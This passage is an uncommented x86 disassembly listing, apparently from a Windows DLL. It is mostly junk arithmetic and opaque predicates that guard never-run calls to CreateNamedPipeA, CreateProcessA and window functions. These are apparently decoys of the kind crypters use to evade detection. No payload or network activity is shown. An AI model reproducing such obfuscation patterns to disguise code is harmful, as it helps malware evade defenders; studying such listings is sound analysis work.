mov dword [ebp + eax*4 - 0xb70], 0xec2e0cf5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e713
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop ebx
cmp dword [ebp - 0x18], ebx
jg 0x1002e7a5
mov dword [ebp - 0x50], 0xf8b5131d
mov dword [ebp - 0x40], 0xfffffff7
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x1002e773
push eax
push 0x357
push 0x109a
push 0x154c
push 0x129a
push 0x129a
push 0x2211
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov eax, dword [ebp - 0x18]
push 0
mov ecx, dword [ebp + eax*4 - 0xb70]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb70], ecx
mov dword [ebp - 0x40], edi
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb70]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], ebx
jle 0x1002e736
mov dword [ebp - 0x14], 8
cmp dword [ebp - 0x14], 0x13
je 0x1002e838
or ecx, 0xffffffff
jmp 0x1002e7bd
xor eax, eax
mov dword [ebp - 0x1c], 0x859bb7a1
mov dword [ebp - 0x50], eax
mov dword [ebp - 0xfec], ecx
mov dword [ebp - 0xfe8], ecx
mov dword [ebp - 0xfe4], ecx
mov dword [ebp - 0xfe0], ecx
mov dword [ebp - 0x50], 0xd1dc2cbf
mov dword [ebp - 0x20], 0xffffffe8
jmp 0x1002e7f5
dec dword [ebp - 0x1c]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1c
jle 0x1002e7ef
cmp dword [ebp - 0x1c], eax
je 0x1002e803
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x1002e82c
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
or ecx, 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x13
jne 0x1002e7bb
push 2
pop ebx
mov dword [ebp - 0x1c], 0x17c1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x2c], 0xffff
ja 0x1002efd6
mov dword [ebp - 0x18], 0x32b1cecb
lea ecx, [ebp - 0x660]
push 4
call fcn.1001710b
mov dword [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x40], 0xdd635290
mov dword [ebp - 0x40], 0x9ed02e88
mov dword [ebp - 0x48], 7
mov dword [ebp - 0x20], 0xcaad9015
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x30], 0x72c2e8b5
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002e8da
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x4a0], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002e8c2
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002e902
push dword [ebp - 0x24]
lea ecx, [ebp - 0x660]
call fcn.100171a9
mov dword [eax], 0xefa42b48
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002e8e3
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002e922
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf50], 0xd1649bc0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002e90a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002e942
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x7f0], 0x227283a3
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002e92a
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002e9b0
mov dword [ebp - 0x3c], 0x48f69f7f
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x1002e961
push eax
push eax
call dword [sym.imp.GDI32.dll_GetRgnBox]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jl 0x1002e9ad
push ebx
lea ecx, [ebp - 0x660]
call fcn.100171a9
mov dword [eax], edi
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x1002e9a6
push 0xd9e
push eax
push 0x1538
push 0x1f3f
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
dec dword [ebp - 0x3c]
jns 0x1002e969
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1002e947
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x14], eax
jne 0x1002e9da
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x4a0], eax
je 0x1002e9dc
mov edx, edi
mov dword [ebp - 0x7f0], edx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp edx, eax
push ebx
sete cl
xor eax, eax
cmp ecx, 0x29ae
lea ecx, [ebp - 0x660]
setne al
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xf4c], eax
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
call fcn.100171a9
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp ecx, dword [eax]
setle dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4a0]
add eax, 7
cmp eax, dword [ebp - 0x18]
jle 0x1002ea47
xor eax, eax
cmp dword [ebp - 0xf4c], eax
je 0x1002ea49
mov esi, edi
jmp 0x1002ea4b
xor eax, eax
mov esi, eax
push edi
lea ecx, [ebp - 0x660]
call fcn.100171a9
xor ecx, ecx
push 3
cmp dword [eax], esi
mov eax, dword [ebp - 0x14]
setg cl
sub ecx, eax
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x660]
pop esi
push esi
call fcn.100171a9
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
or eax, 0xffffffff
lea ecx, [ebp - 0x660]
mov dword [ebp - 4], eax
call fcn.1001718d
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
je 0x1002f6bc
jmp 0x1002ea9e
push 2
pop ebx
push edi
lea ecx, [ebp - 0x154]
call fcn.1001710b
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x40], 0x84255ebd
mov dword [ebp - 0x4c], 0x58a60016
mov dword [ebp - 0x40], 0x33147f59
mov dword [ebp - 0x44], 0x3ed423cb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002eaf4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x154]
call fcn.100171a9
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002eada
xor eax, eax
push eax
lea ecx, [ebp - 0x154]
call fcn.100171a9
xor eax, eax
lea ecx, [ebp - 0x154]
push eax
call fcn.100171a9
xor eax, eax
lea ecx, [ebp - 0x154]
push eax
call fcn.100171a9
mov esi, eax
lea ecx, [ebp - 0x154]
xor eax, eax
push eax
call fcn.100171a9
mov ecx, dword [esi]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x154]
setne bl
xor eax, eax
push eax
call fcn.100171a9
xor edx, edx
mov eax, dword [eax]
add eax, ebx
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
lea ecx, [ebp - 0x154]
setl dl
xor eax, eax
mov dword [ebp - 0x40], edx
push eax
call fcn.100171a9
push 7
pop esi
lea ecx, [ebp - 0x154]
sub esi, dword [eax]
xor eax, eax
push eax
call fcn.100171a9
lea ecx, [ebp - 0x154]
mov edi, dword [eax]
xor eax, eax
add edi, esi
sub edi, dword [ebp - 0x40]
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x38]
add ecx, edi
cmp ecx, dword [eax]
jne 0x1002eba7
xor eax, eax
lea ecx, [ebp - 0x154]
push eax
call fcn.100171a9
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x154]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor eax, eax
push eax
call fcn.100171a9
xor eax, eax
lea ecx, [ebp - 0x154]
push eax
call fcn.100171a9
xor eax, eax
lea ecx, [ebp - 0x154]
push eax
call fcn.100171a9
lea ecx, [ebp - 0x154]
mov esi, dword [eax]
xor eax, eax
push eax
add esi, 0x3fa3
call fcn.100171a9
lea ecx, [ebp - 0x154]
mov dword [eax], esi
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1001718d
mov dword [ebp - 0x18], 8
xor edi, edi
mov dword [ebp - 0x3c], 6
inc edi
xor eax, eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002ec3f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x18c], 0xc0ae9714
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002ec27
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002ec60
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x18c], 0
jne 0x1002ec5e
inc dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jle 0x1002ec47
xor eax, eax
cmp dword [ebp - 0x18c], 0xbf0ddd9c
jae 0x1002ec73
mov esi, eax
cmp dword [ebp - 0x3c], eax
je 0x1002ec75
mov esi, edi
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
cmp esi, eax
setl cl
xor ebx, ebx
add ecx, dword [ebp - 0x18]
cmp edx, ecx
setle bl
sub ebx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x30]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x18c]
setle cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x58], eax
xor eax, eax
mov byte [ebp - 0xd], al
mov dword [ebp - 0x50], 0xac8b13ec
mov dword [ebp - 0x50], 0xfcb50bf3
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x40], 0x68876942
inc dword [ebp - 0x40]
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x1002ed01
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
cmp byte [ebp - 0xd], 0
je 0x1002efc2
mov eax, 0xdd1e1e87
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], eax
push edi
call fcn.1001710b
lea eax, [ebp - 0x1198]
mov dword [ebp - 4], 0xc
movdqa xmm0, xmmword [0x10007c40]
lea ecx, [ebp - 0x1344]
push eax
lea eax, [ebp - 0x11a8]
mov dword [ebp - 0x40], 0xecdc0f1f
push eax
movdqu xmmword [ebp - 0x11a8], xmm0
call fcn.100171bb
lea ecx, [ebp - 0x2a7]
mov esi, eax
call fcn.100171b8
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xe84]
push dword [esi]
call fcn.10017167
push 3
pop esi
push esi
lea ecx, [ebp - 0xcc0]
mov byte [ebp - 4], 0xd
call fcn.1001710b
mov byte [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x30], 0x4f6c5533
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002edc9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x404], 0xfffffffd
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002edb1
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002edef
push dword [ebp - 0x24]
lea ecx, [ebp - 0x350]
call fcn.100171a9
mov dword [eax], 0x6ec17e5c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002edd1
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002ee17
or edi, 0xffffffff
push dword [ebp - 0x24]
lea ecx, [ebp - 0xcc0]
call fcn.100171a9
mov dword [eax], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002edfa
xor edi, edi
xor eax, eax
inc edi
push 2
pop ebx
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], ebx
jg 0x1002eecb
mov eax, dword [ebp - 0x1c4]
lea ecx, [ebp - 0x350]
mov eax, dword [ebp + eax*4 - 0x404]
xor eax, eax
push eax
call fcn.100171a9
cmp dword [eax], 0
jne 0x1002ee73
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp + eax*4 - 0x404]
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp + eax*4 - 0x404]
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp + eax*4 - 0x404]
xor eax, eax
lea ecx, [ebp - 0x350]
push eax
call fcn.100171a9
mov eax, dword [ebp - 0x1cc]
lea ecx, [ebp - 0x350]
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp + eax*4 - 0x404]
xor eax, eax
push eax
call fcn.100171a9
cmp dword [eax], 0
jne 0x1002eead
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x3fc], 0xffff0001
inc dword [ebp - 0x1c4]
cmp dword [ebp - 0x1c4], ebx
jle 0x1002ee2c
xor eax, eax
push eax
lea ecx, [ebp - 0x350]
call fcn.100171a9
cmp dword [eax], 0
jne 0x1002eef5
xor eax, eax
lea ecx, [ebp - 0x350]
push eax
call fcn.100171a9
cmp dword [eax], 0
jne 0x1002eef5
xor eax, eax
mov edx, eax
jmp 0x1002eef7
mov edx, edi
mov dword [ebp - 0x1c4], edx
xor ebx, ebx
mov eax, dword [ebp - 0x404]
mov ecx, dword [ebp - 0x3fc]
sub ecx, eax
cmp edx, ecx
lea ecx, [ebp - 0x350]
setge bl
xor eax, eax
mov dword [ebp - 0x3fc], ebx
push eax
call fcn.100171a9
lea ecx, [ebp - 0x350]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
xor eax, eax
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x40]
xor edx, edx
cmp ebx, ecx
lea ecx, [ebp - 0xe84]
push esi
sete dl
sub edx, 0xf63e
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, dword [eax]
setle bl
call fcn.100171a9
xor ecx, ecx
push edi
cmp ebx, dword [eax]
setge cl
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0xcc0]
call fcn.100171a9
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0xcc0]
call fcn.1001718d
lea ecx, [ebp - 0xe84]
call fcn.1001718d
or eax, 0xffffffff
lea ecx, [ebp - 0x350]
mov dword [ebp - 4], eax
call fcn.1001718d
push 0xbd3
push 0x454
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x1002efc5
push 3
pop esi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jne 0x1002ea9b
jmp 0x1002f6ba
mov dword [ebp - 0x28], 0x425a80e3
xor eax, eax
mov dword [ebp - 0x40], 0x29f5
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002f008
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13dc], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002efef
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x28], eax
je 0x1002f011
mov esi, edi
cmp dword [ebp - 0x28], 0xa3a92bd4
jb 0x1002f021
mov ecx, edi
cmp dword [ebp - 0x28], eax
jne 0x1002f023
mov ecx, eax
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
cmp esi, ecx
setne dl
sub edx, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 8
setne al
cmp eax, dword [ebp - 0x28]
jne 0x1002f05e
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1002f060
mov ecx, edi
jmp 0x1002f062
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x40]
add eax, ecx
mov dword [ebp - 0x13dc], eax
mov dword [ebp - 0x28], 9
cmp dword [ebp - 0x28], 0x26
jg 0x1002f09e
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f095
push eax
push eax
push 0x19e4
push eax
call dword [sym.imp.USER32.dll_AppendMenuA]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x26
jle 0x1002f07c
mov dword [ebp - 0x3c], edi
xor eax, eax
push 3
pop esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x18], 0x6b779c63
mov dword [ebp - 0x20], 0x3ec58f55
mov dword [ebp - 0x14], eax
jmp 0x1002f0cd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2ac], 0x80335900
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f0bc
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002f0df
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
neg ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
mov dword [ebp - 0x28], eax
neg ecx
mov eax, dword [ebp - 0x28]
add eax, 0x81d2
add eax, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x18]
cmp eax, 0x57f3
jge 0x1002f120
mov eax, dword [ebp - 0x3c]
xor eax, eax
or ebx, 0xffffffff
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x1002f292
mov dword [ebp - 0x14], 0x2a6a
lea ecx, [ebp - 0xb88]
mov dword [ebp - 0x40], 0xa52b3395
push edi
call fcn.1001710b
xor eax, eax
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f17d
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb88]
call fcn.100171a9
mov dword [eax], 0x3d8d5894
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f15f
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x1002f25d
mov dword [ebp - 0x40], 7
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x2ac]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
dec ecx
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xa93f
setl al
xor edx, edx
cmp eax, 0xc0f1fa6f
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x2ac]
cmp eax, edx
mov eax, dword [ebp - 0x28]
setl cl
xor edx, edx
cmp ecx, 0x7356536
lea ecx, [ebp - 0xb88]
setl dl
sub edx, dword [ebp + eax*4 - 0x2ac]
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x40], edx
mov esi, dword [ebp - 0x40]
push eax
call fcn.100171a9
mov dword [eax], esi
xor eax, eax
test esi, esi
sete al
cmp eax, dword [ebp - 0x18]
jge 0x1002f22f
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002f24f
push 0x1cc5
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
jmp 0x1002f24d
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002f24d
push eax
push eax
push eax
push eax
push 0x1c23
push edi
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1002f189
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f273
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
lea ecx, [ebp - 0xb88]
mov dword [ebp - 4], ebx
call fcn.1001718d
inc dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], eax
jle 0x1002f134
push 3
pop esi
mov byte [ebp - 0xd], al
mov dword [ebp - 0x18], 0xb26bdde0
mov dword [ebp - 0x14], 0x999fb023
mov dword [ebp - 0x20], 0xdead9bac
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002f2ca
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xaf4], 0x2b8e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f2b2
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff6
jmp 0x1002f340
mov dword [ebp - 0x28], 0x4f93
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0xfb6318d5
inc dword [ebp - 0x28]
je 0x1002f330
cmp dword [ebp - 0x20], eax
jne 0x1002f318
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, 0x126c7f05
setne cl
mov dword [ebp - 0xaf4], ecx
imul eax, dword [ebp - 0x14], 0xf32b
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
push 0
mov dword [ebp - 0x30], 0x455f992d
dec dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], 0xffffffe7
je 0x1002f2d3
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002f377
mov eax, dword [ebp - 0x18]
mov ecx, 0xffffdd6b
sub ecx, eax
mov eax, dword [ebp - 0xaec]
sub ecx, eax
add dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xaf4]
inc eax
cmp eax, dword [ebp - 0x20]
jl 0x1002f375
mov ecx, edi
jmp 0x1002f379
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0xaf4]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x20], ecx
cmp byte [ebp - 0xd], 0
je 0x1002f6ba
mov dword [ebp - 0x24], 0x33a4
xor eax, eax
mov dword [ebp - 0x28], 0xea4d59ff
mov dword [ebp - 0x44], 0x245c2f1f
mov dword [ebp - 0x48], 8
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x40], 0xa751f099
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], 0x348e76e
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f3f6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfc8], 0x966a49df
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f3de
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002f541
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002f427
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5fc], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002f40e
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jg 0x1002f69f
mov dword [ebp - 0x40], eax
xor ebx, ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x5fc]
mov eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x5fc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x5fc]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x24]
setge bl
xor ecx, ecx
cmp eax, 0x700d
setne cl
xor eax, eax
cmp ecx, 0xca7
setne al
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
setl cl
sub ebx, ecx
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
add ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ebx, eax
mov eax, dword [ebp - 0x24]
setge cl
imul ecx, dword [ebp + eax*4 - 0x5fc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x5fc]
sub ecx, 0xd87e
neg ecx
sbb ecx, ecx
or ebx, 0xffffffff
inc ecx
mov edx, ebx
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
neg edx
mov ecx, dword [ebp + eax*4 - 0x5fc]
mov eax, dword [ebp - 0x5f8]
cmp ebx, eax
sbb eax, eax
neg eax
cmp eax, ecx
jne 0x1002f501
xor eax, eax
cmp dword [ebp - 0x5f0], eax
je 0x1002f503
mov esi, edi
jmp 0x1002f505
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
xor eax, eax
mov ecx, dword [ebp - 0x40]
cmp edx, 0xc4433ac2
push 3
setne al
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, esi
pop esi
setl al
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x24]
push 0
pop eax
cmp dword [ebp - 0x24], esi
jle 0x1002f433
jmp 0x1002f69d
mov dword [ebp - 0x18], edi
xor edx, edx
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x40], 9
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
sub ecx, 0x5226da74
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ebx, ebx
cmp edx, 0xbb6
setl bl
xor ecx, ecx
cmp eax, ebx
setl cl
add ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x48]
je 0x1002f585
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x1002f5a3
cmp dword [ebp - 0x20], eax
je 0x1002f5a5
mov eax, edi
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x24]
sub eax, 0x4cc0
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
add eax, esi
cmp eax, 0x470d16aa
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, 0x6227
setle dl
xor ecx, ecx
cmp eax, edx
setge cl
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c], ecx
